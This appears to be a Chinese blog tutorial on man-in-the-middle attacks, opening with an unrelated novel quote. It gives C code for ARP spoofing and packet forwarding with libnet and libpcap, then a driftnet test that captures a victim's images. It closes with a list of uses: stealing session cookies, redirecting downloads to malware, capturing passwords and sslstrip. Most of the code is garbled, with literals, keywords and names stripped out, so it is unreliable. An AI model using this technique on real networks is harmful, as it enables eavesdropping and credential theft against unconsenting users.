中间人攻击的原理与实现


 

  看风云无忌一时有些迟疑。

  那男子冷笑道:“你是新飞升的吧。妖魔吃人,人吃妖魔,这个道理你迟早会明白。莽莽大地,除却那植物之外,所有行走之物,均强于人类。你若是想不通,以后就和一些低等妖兽一般,去吃那树上的野果吧。”

——飞升之后 · 荧惑 风云无忌

 

  下面是整篇文章的鸟瞰图:(读者应该了解局域网ARP协议)

#include <stdio.h> #include <stdlib.h> #include <.h> #include <unistd.h> #include <libnet.h> #include <unistd.h> MAC_ADDR_LEN 6 IP_ADDR_LEN 4 ForgeAndSendArp( * dev,unsigned * src_mac,unsigned * unsigned * src_ip,unsigned *dst_ip,uint16_t arpOp,unsigned padPtr[ libnet_t *net_t = unsigned i= printf( printf( net_t = (net_t == printf( p_tag = ARPHRD_ETHER, ETHERTYPE_IP, MAC_ADDR_LEN, IP_ADDR_LEN, arpOp, (u_int8_t *)src_mac, (u_int8_t *)src_ip, (u_int8_t *)dst_mac, (u_int8_t *)dst_ip, padPtr, , net_t, (- == printf( p_tag = libnet_build_ethernet( (u_int8_t *)dst_mac, (u_int8_t *)src_mac, ETHERTYPE_ARP, padPtr, , net_t, (- == printf( i= (;i<sendTimes;i++ (- == (res = printf( uint8_t * ip_A, uint8_t * uint8_t * ip_B, uint8_t * uint8_t * * ( usleep( ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , , usleep( ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , , uint8_t ip_A[]={,,, uint8_t mac_A[]={,,,,, uint8_t ip_B[]={,,, uint8_t mac_B[]={,,,,, uint8_t mac_M[]={,,,,, * devMitm= ( View Code

 

  第二步:数据包分析、转发

  这里仅转发IP数据包,于是,我们以较简单的icmp-request & icmp-reply 为例:

#include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <.h> #include <unistd.h> #include <libnet.h> MAC_ADDR_LEN 6 IP_ADDR_LEN 4 uint8_t ether_dhost[]; uint8_t ether_shost[]; uint16_t ether_type; uint16_t ip_total_len; uint16_t ip_id; uint8_t ip_ttl; uint8_t ip_proto; uint16_t ip_hdrCRC; uint8_t ip_src[ uint8_t ip_dst[ BuildAndSendEthernetPacket( * dev, unsigned unsigned * dst_mac, unsigned * uint16_t protoType, unsigned * padPtr, unsigned libnet_t *net_t = unsigned i= net_t = (net_t == printf( p_tag = libnet_build_ethernet( dst_mac, src_mac, protoType, padPtr, padLength, net_t, (- == printf( (i=;i<sendTimes;i++ (- == printf( uint8_t * uint8_t * uint8_t * uint8_t * uint8_t * * * getPacket(u_char * arg, pcap_pkthdr * pkthdr, u_char * MITM_para * mitmParaPtr=( MITM_para * unsigned sendTimes= uint16_t etherProto= * dev=mitmParaPtr-> uint8_t * ether_Ahost=mitmParaPtr-> uint8_t * ether_Bhost=mitmParaPtr-> uint8_t * ether_Mhost=mitmParaPtr-> uint8_t * A_IP=mitmParaPtr-> uint8_t * B_IP=mitmParaPtr-> ethernet_ip_hdr * hdrPtr= ( ethernet_ip_hdr * (==memcmp(hdrPtr->ether_shost,ether_Ahost, { printf( etherProto,packet+,pkthdr->len- (==memcmp(hdrPtr->ether_shost,ether_Bhost, { printf( etherProto,packet+,pkthdr->len- uint8_t * ip_A, uint8_t * uint8_t * ip_B, uint8_t * uint8_t * mac_M, * * errBuf[PCAP_ERRBUF_SIZE], * mitmPara.ip_A= mitmPara.mac_A= mitmPara.ip_B= mitmPara.mac_B= mitmPara.mac_M= mitmPara.BPF_filterStr= mitmPara.devMitm= devStr = printf( printf( exit( pcap_t * device = pcap_open_live(devMitm, , , (! printf( exit( pcap_compile( device,&filter,BPF_filterStr,, pcap_setfilter(device ,& pcap_loop(device, -, getPacket,( u_char * ) & uint8_t ip_A[]={,,, uint8_t mac_A[]={,,,,, uint8_t ip_B[]={,,, uint8_t mac_B[]={,,,,, uint8_t mac_M[]={,,,,, * BPF_filterStr= * devMitm= } View Code

 第三步:

   借助于进程的fork模型,将arpspoof与mitm-forwarder二者整合为一个接口:

  
      uint8_t ip_A[]={,,,     uint8_t mac_A[]={,,,,,     uint8_t ip_B[]={,,,     uint8_t mac_B[]={,,,,,     uint8_t mac_M[]={,,,,,     
      * BPF_filterStr=      * devMitm=     
   
    sonPid=   ( sonPid==-   {
     printf(     (sonPid==   {
     printf(     
   {
     printf(     sleep(        }

  如此,最终代码如下:

#include<unistd.h> #include<pcap.h> #include<time.h> #include<stdio.h> #include<stdint.h> #include<stdio.h> #include<stdlib.h> #include<.h> #include<unistd.h> #include<libnet.h> MAC_ADDR_LEN 6 IP_ADDR_LEN 4 uint8_t ether_dhost[]; uint8_t ether_shost[]; uint16_t ether_type; uint16_t ip_total_len; uint16_t ip_id; uint8_t ip_ttl; uint8_t ip_proto; uint16_t ip_hdrCRC; uint8_t ip_src[ uint8_t ip_dst[ uint8_t * uint8_t * uint8_t * uint8_t * uint8_t * * * ForgeAndSendArp( * dev, unsigned * src_mac, unsigned * unsigned * src_ip, unsigned *dst_ip,uint16_t arpOp,unsigned padPtr[ libnet_t *net_t = unsigned i= net_t = (net_t == printf( p_tag = ARPHRD_ETHER, ETHERTYPE_IP, MAC_ADDR_LEN, IP_ADDR_LEN, arpOp, (u_int8_t *)src_mac, (u_int8_t *)src_ip, (u_int8_t *)dst_mac, (u_int8_t *)dst_ip, padPtr, , net_t, (- == printf( p_tag = libnet_build_ethernet( (u_int8_t *)dst_mac, (u_int8_t *)src_mac, ETHERTYPE_ARP, padPtr, , net_t, (- == printf( i= (;i<sendTimes;i++ (- == (res = printf( uint8_t * ip_A, uint8_t * uint8_t * ip_B, uint8_t * uint8_t * * ( usleep( ForgeAndSendArp( devMitm , mac_M , mac_A , ip_B , ip_A , , usleep( ForgeAndSendArp( devMitm , mac_M , mac_B , ip_A , ip_B , , BuildAndSendEthernetPacket( * dev, unsigned unsigned * dst_mac, unsigned * uint16_t protoType, unsigned * padPtr, unsigned libnet_t *net_t = unsigned i= net_t = (net_t == printf( p_tag = libnet_build_ethernet( dst_mac, src_mac, protoType, padPtr, padLength, net_t, (- == printf( (i=;i<sendTimes;i++ (- == printf( getPacketCallBack(u_char * arg, pcap_pkthdr * pkthdr, u_char * MITM_para * mitmParaPtr=( MITM_para * unsigned sendTimes= uint16_t etherProto= * dev=mitmParaPtr-> uint8_t * ether_Ahost=mitmParaPtr-> uint8_t * ether_Bhost=mitmParaPtr-> uint8_t * ether_Mhost=mitmParaPtr-> uint8_t * A_IP=mitmParaPtr-> uint8_t * B_IP=mitmParaPtr-> ethernet_ip_hdr * hdrPtr= ( ethernet_ip_hdr * (==memcmp(hdrPtr->ether_shost,ether_Ahost, { printf( etherProto,packet+,pkthdr->len- (==memcmp(hdrPtr->ether_shost,ether_Bhost, { printf( etherProto,packet+,pkthdr->len- uint8_t * ip_A, uint8_t * uint8_t * ip_B, uint8_t * uint8_t * mac_M, * * errBuf[PCAP_ERRBUF_SIZE], * mitmPara.ip_A= mitmPara.mac_A= mitmPara.ip_B= mitmPara.mac_B= mitmPara.mac_M= mitmPara.BPF_filterStr= mitmPara.devMitm= devStr = printf( printf( exit( pcap_t * device = pcap_open_live(devMitm, , , (! printf( exit( pcap_compile( device,&filter,BPF_filterStr,, pcap_setfilter(device ,& pcap_loop(device, -, getPacketCallBack,( u_char * ) & uint8_t ip_A[]={,,, uint8_t mac_A[]={,,,,, uint8_t ip_B[]={,,, uint8_t mac_B[]={,,,,, uint8_t mac_M[]={,,,,, * BPF_filterStr= * devMitm= sonPid= ( sonPid==- { printf( (sonPid== { printf( { printf( sleep( } View Code

 

  测试:

    kali        GW

        Ubuntu

  如上,Ubuntu作为中间人意图窃取kali与网关GW之间的通信信息,使用nmap搜集必要信息后,运行我们刚刚开发的工具,并运行如下命令:

~# driftnet -i eth0

  而此时kali主机使用百度图片搜索“兰花”关键词,Ubuntu的driftnet有了如下输出:

   

  中间人攻击的可怕之处:

  1.中间人在所有的数据包中过滤Cookie关键字,获取服务器授予已登录用户的临时Cookie ID,以绕过服务器对此用户的密码认证;  

  2.中间人过滤有关下载路径的信息,篡改此数据包,将此路径指向预先准备好的病毒程序的互联网地址,以达到传播病毒程序体的目的;

  3.截获已知认证协议的账户、密码;

  4.使用sslstrip模型,绕过https的防御以截获账户、密码信息;

  5.屏蔽或者重定向指定的网络地址;

   ……

 

 

相关内容